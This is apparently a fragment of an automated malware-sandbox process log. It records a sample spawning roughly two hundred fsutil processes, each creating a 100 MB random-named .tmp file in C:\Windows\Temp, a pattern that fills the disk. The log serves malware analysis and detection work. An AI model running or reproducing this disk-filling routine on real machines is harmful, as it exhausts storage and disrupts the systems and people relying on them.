  fsutil file createnew "C:\Windows\Temp\sys1398630994.tmp" 104857600
  2⤵
  PID:5592
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys682228274.tmp" 104857600
  2⤵
  PID:2708
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1226316806.tmp" 104857600
  2⤵
  PID:4700
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys921710331.tmp" 104857600
  2⤵
  PID:3980
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys63516963.tmp" 104857600
  2⤵
  PID:3504
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1980928116.tmp" 104857600
  2⤵
  PID:5872
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys909526620.tmp" 104857600
  2⤵
  PID:5520
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1071813986.tmp" 104857600
  2⤵
  PID:2852
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys226687134.tmp" 104857600
  2⤵
  PID:4900
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys451586.tmp" 104857600
  2⤵
  PID:4556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2218429987.tmp" 104857600
  2⤵
  PID:4564
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2337512834.tmp" 104857600
  2⤵
  PID:5992
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2638923464.tmp" 104857600
  2⤵
  PID:4604
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1756329420.tmp" 104857600
  2⤵
  PID:4464
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1355411938.tmp" 104857600
  2⤵
  PID:5340
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys200289633.tmp" 104857600
  2⤵
  PID:5804
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1031017292.tmp" 104857600
  2⤵
  PID:3368
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys385132716.tmp" 104857600
  2⤵
  PID:5524
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2925020836.tmp" 104857600
  2⤵
  PID:5720
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1699528263.tmp" 104857600
  2⤵
  PID:1484
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys119747190.tmp" 104857600
  2⤵
  PID:5192
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys557815600.tmp" 104857600
  2⤵
  PID:4372
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1616729753.tmp" 104857600
  2⤵
  PID:4176
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3118812992.tmp" 104857600
  2⤵
  PID:4884
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1694424313.tmp" 104857600
  2⤵
  PID:4912
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys313016809.tmp" 104857600
  2⤵
  PID:4800
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1981431316.tmp" 104857600
  2⤵
  PID:4892
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2495026750.tmp" 104857600
  2⤵
  PID:4572
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1934429066.tmp" 104857600
  2⤵
  PID:4344
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1100229127.tmp" 104857600
  2⤵
  PID:6104
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys93355582.tmp" 104857600
  2⤵
  PID:1380
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys243227508.tmp" 104857600
  2⤵
  PID:1388
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys458728482.tmp" 104857600
  2⤵
  PID:3224
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys10198898.tmp" 104857600
  2⤵
  PID:5128
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1792623074.tmp" 104857600
  2⤵
  PID:3512
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys281619212.tmp" 104857600
  2⤵
  PID:2476
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys181011087.tmp" 104857600
  2⤵
  PID:5972
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1624117300.tmp" 104857600
  2⤵
  PID:3144
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys881924240.tmp" 104857600
  2⤵
  PID:5816
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys392915730.tmp" 104857600
  2⤵
  PID:3104
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2517622468.tmp" 104857600
  2⤵
  PID:3008
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1384724204.tmp" 104857600
  2⤵
  PID:1624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2389128987.tmp" 104857600
  2⤵
  PID:5884
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2323027831.tmp" 104857600
  2⤵
  PID:2624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys206601717.tmp" 104857600
  2⤵
  PID:2504
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2860316572.tmp" 104857600
  2⤵
  PID:1080
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2506922634.tmp" 104857600
  2⤵
  PID:3888
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2527218095.tmp" 104857600
  2⤵
  PID:5056
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2805711804.tmp" 104857600
  2⤵
  PID:2456
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys96022652.tmp" 104857600
  2⤵
  PID:1440
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys183659802.tmp" 104857600
  2⤵
  PID:2940
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys265329923.tmp" 104857600
  2⤵
  PID:2412
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys208141447.tmp" 104857600
  2⤵
  PID:3016
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys188469190.tmp" 104857600
  2⤵
  PID:1964
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys17806858.tmp" 104857600
  2⤵
  PID:3448
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys123419568.tmp" 104857600
  2⤵
  PID:3476
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys279182599.tmp" 104857600
  2⤵
  PID:4660
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2288012120.tmp" 104857600
  2⤵
  PID:2340
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys319905694.tmp" 104857600
  2⤵
  PID:768
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys127827797.tmp" 104857600
  2⤵
  PID:5424
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3059814354.tmp" 104857600
  2⤵
  PID:5300
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys235899205.tmp" 104857600
  2⤵
  PID:1596
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys166037133.tmp" 104857600
  2⤵
  PID:1532
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys247418425.tmp" 104857600
  2⤵
  PID:3260
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1058422018.tmp" 104857600
  2⤵
  PID:1716
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1142526147.tmp" 104857600
  2⤵
  PID:1100
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1841425667.tmp" 104857600
  2⤵
  PID:1420
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1742822627.tmp" 104857600
  2⤵
  PID:4684
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1884320276.tmp" 104857600
  2⤵
  PID:5556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1832917422.tmp" 104857600
  2⤵
  PID:4680
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2308932751.tmp" 104857600
  2⤵
  PID:1516
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3025515665.tmp" 104857600
  2⤵
  PID:5248
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys26497690.tmp" 104857600
  2⤵
  PID:4476
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys317813348.tmp" 104857600
  2⤵
  PID:2636
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys222312502.tmp" 104857600
  2⤵
  PID:3696
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys968024930.tmp" 104857600
  2⤵
  PID:920
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1358418057.tmp" 104857600
  2⤵
  PID:2168
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys198429111.tmp" 104857600
  2⤵
  PID:5360
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1863327023.tmp" 104857600
  2⤵
  PID:5824
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys5431019.tmp" 104857600
  2⤵
  PID:3648
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1003324796.tmp" 104857600
  2⤵
  PID:204
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1251721727.tmp" 104857600
  2⤵
  PID:1140
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys192349845.tmp" 104857600
  2⤵
  PID:3380
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys276737813.tmp" 104857600
  2⤵
  PID:1792
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys784413263.tmp" 104857600
  2⤵
  PID:3436
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2474520021.tmp" 104857600
  2⤵
  PID:5920
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1579518824.tmp" 104857600
  2⤵
  PID:4884
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2024123437.tmp" 104857600
  2⤵
  PID:2720
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2208224405.tmp" 104857600
  2⤵
  PID:2824
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys293922553.tmp" 104857600
  2⤵
  PID:2800
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1881520540.tmp" 104857600
  2⤵
  PID:4656
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys187307460.tmp" 104857600
  2⤵
  PID:5604
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys292735891.tmp" 104857600
  2⤵
  PID:2792
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys135923021.tmp" 104857600
  2⤵
  PID:2748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1363112008.tmp" 104857600
  2⤵
  PID:3184
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys91824957.tmp" 104857600
  2⤵
  PID:5928
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1565927794.tmp" 104857600
  2⤵
  PID:3116
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2222929143.tmp" 104857600
  2⤵
  PID:620
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys252825416.tmp" 104857600
  2⤵
  PID:1672
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys729125297.tmp" 104857600
  2⤵
  PID:4816
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1316810849.tmp" 104857600
  2⤵
  PID:4504
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2050412419.tmp" 104857600
  2⤵
  PID:1520
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys17925883.tmp" 104857600
  2⤵
  PID:1032
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3190523326.tmp" 104857600
  2⤵
  PID:1332
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2478315856.tmp" 104857600
  2⤵
  PID:2584
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys994819039.tmp" 104857600
  2⤵
  PID:2460
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2648520998.tmp" 104857600
  2⤵
  PID:5144
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys70915715.tmp" 104857600
  2⤵
  PID:2060
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys317712902.tmp" 104857600
  2⤵
  PID:1368
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys619327837.tmp" 104857600
  2⤵
  PID:5364
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3015015696.tmp" 104857600
  2⤵
  PID:4448
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys68334806.tmp" 104857600
  2⤵
  PID:1864
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1364715116.tmp" 104857600
  2⤵
  PID:5164
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3090520020.tmp" 104857600
  2⤵
  PID:3588
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2884829988.tmp" 104857600
  2⤵
  PID:3916
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys261134846.tmp" 104857600
  2⤵
  PID:4740
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2432719920.tmp" 104857600
  2⤵
  PID:2328
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys259007455.tmp" 104857600
  2⤵
  PID:940
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1629027570.tmp" 104857600
  2⤵
  PID:2008
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys52886793.tmp" 104857600
  2⤵
  PID:2992
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1178619907.tmp" 104857600
  2⤵
  PID:5672
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1710932285.tmp" 104857600
  2⤵
  PID:4956
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3052923438.tmp" 104857600
  2⤵
  PID:2252
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys343312744.tmp" 104857600
  2⤵
  PID:1708
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2157717820.tmp" 104857600
  2⤵
  PID:1596
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys41156799.tmp" 104857600
  2⤵
  PID:4672
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1174918991.tmp" 104857600
  2⤵
  PID:3468
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys262068926.tmp" 104857600
  2⤵
  PID:1488
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1987612851.tmp" 104857600
  2⤵
  PID:5600
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys124116157.tmp" 104857600
  2⤵
  PID:4700
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys82186769.tmp" 104857600
  2⤵
  PID:5860
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys116378325.tmp" 104857600
  2⤵
  PID:2688
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2776123814.tmp" 104857600
  2⤵
  PID:4212
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys8142610.tmp" 104857600
  2⤵
  PID:4320
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys950512051.tmp" 104857600
  2⤵
  PID:4220
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys23731865.tmp" 104857600
  2⤵
  PID:4416
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1381918103.tmp" 104857600
  2⤵
  PID:2660
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2244510875.tmp" 104857600
  2⤵
  PID:2492
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys295487482.tmp" 104857600
  2⤵
  PID:5096
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3068528154.tmp" 104857600
  2⤵
  PID:4464
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys38408587.tmp" 104857600
  2⤵
  PID:5476
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1895011628.tmp" 104857600
  2⤵
  PID:3732
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1360528397.tmp" 104857600
  2⤵
  PID:3648
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2321426702.tmp" 104857600
  2⤵
  PID:204
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1438623533.tmp" 104857600
  2⤵
  PID:2256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3212423995.tmp" 104857600
  2⤵
  PID:1484
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2781530103.tmp" 104857600
  2⤵
  PID:6004
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys11165317.tmp" 104857600
  2⤵
  PID:4964
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys683815081.tmp" 104857600
  2⤵
  PID:2948
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys854912771.tmp" 104857600
  2⤵
  PID:4884
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1049911400.tmp" 104857600
  2⤵
  PID:2720
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3257026516.tmp" 104857600
  2⤵
  PID:4800
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys257691202.tmp" 104857600
  2⤵
  PID:2800
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2910219106.tmp" 104857600
  2⤵
  PID:4656
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys268511124.tmp" 104857600
  2⤵
  PID:4532
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys945127042.tmp" 104857600
  2⤵
  PID:3944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys3010215133.tmp" 104857600
  2⤵
  PID:5484
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1876380.tmp" 104857600
  2⤵
  PID:1388
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys590110482.tmp" 104857600
  2⤵
  PID:4288
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys80413006.tmp" 104857600
  2⤵
  PID:6060
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys691326147.tmp" 104857600
  2⤵
  PID:3580
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys309551846.tmp" 104857600
  2⤵
  PID:4832
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys242863326.tmp" 104857600
  2⤵
  PID:4504
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2796911967.tmp" 104857600
  2⤵
  PID:3248
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys739128259.tmp" 104857600
  2⤵
  PID:4804
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys192274699.tmp" 104857600
  2⤵
  PID:1144
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys288824984.tmp" 104857600
  2⤵
  PID:5884
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys853318050.tmp" 104857600
  2⤵
  PID:804
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys66841949.tmp" 104857600
  2⤵
  PID:4004
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys125747610.tmp" 104857600
  2⤵
  PID:916
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys793232419.tmp" 104857600
  2⤵
  PID:3888
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys192898296.tmp" 104857600
  2⤵
  PID:5056
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1358811064.tmp" 104857600
  2⤵
  PID:420
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys749114054.tmp" 104857600
  2⤵
  PID:1200
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys490122950.tmp" 104857600
  2⤵
  PID:2940
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1237514805.tmp" 104857600
  2⤵
  PID:2500
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys41228894.tmp" 104857600
  2⤵
  PID:3016
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys855923733.tmp" 104857600
  2⤵
  PID:3520
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1312819214.tmp" 104857600
  2⤵
  PID:4904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys212919907.tmp" 104857600
  2⤵
  PID:3692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys66448795.tmp" 104857600
  2⤵
  PID:5672
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys808628097.tmp" 104857600
  2⤵
  PID:5616
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2203730539.tmp" 104857600
  2⤵
  PID:5432
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys197192028.tmp" 104857600
  2⤵
  PID:1944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1084429537.tmp" 104857600
  2⤵
  PID:4472
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys190149962.tmp" 104857600
  2⤵
  PID:3968
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1829029486.tmp" 104857600
  2⤵
  PID:1992
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys301924595.tmp" 104857600
  2⤵
  PID:3468
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2828911974.tmp" 104857600
  2⤵
  PID:4248
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2998112755.tmp" 104857600
  2⤵
  PID:3360
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys741318034.tmp" 104857600
  2⤵
  PID:4700
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys238719020.tmp" 104857600
  2⤵
  PID:5860
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys96041956.tmp" 104857600
  2⤵
  PID:1236
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1364617248.tmp" 104857600
  2⤵
  PID:4356
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2314732304.tmp" 104857600
  2⤵
  PID:5328
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys464227327.tmp" 104857600
  2⤵
  PID:1556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys115159656.tmp" 104857600
  2⤵
  PID:3936
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2102419006.tmp" 104857600
  2⤵
  PID:2636
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2619720328.tmp" 104857600
  2⤵
  PID:5992
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys153847802.tmp" 104857600
  2⤵
  PID:2516
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys239224068.tmp" 104857600
  2⤵
  PID:5352
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys139011611.tmp" 104857600
  2⤵
  PID:4612
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2007018815.tmp" 104857600
  2⤵
  PID:1468
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys88816876.tmp" 104857600
  2⤵
  PID:3900
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys140539902.tmp" 104857600
  2⤵
  PID:4636
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys31126762.tmp" 104857600
  2⤵
  PID:2256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys235586332.tmp" 104857600
  2⤵
  PID:1792
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1892331899.tmp" 104857600
  2⤵
  PID:4372
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2387911967.tmp" 104857600
  2⤵
  PID:3436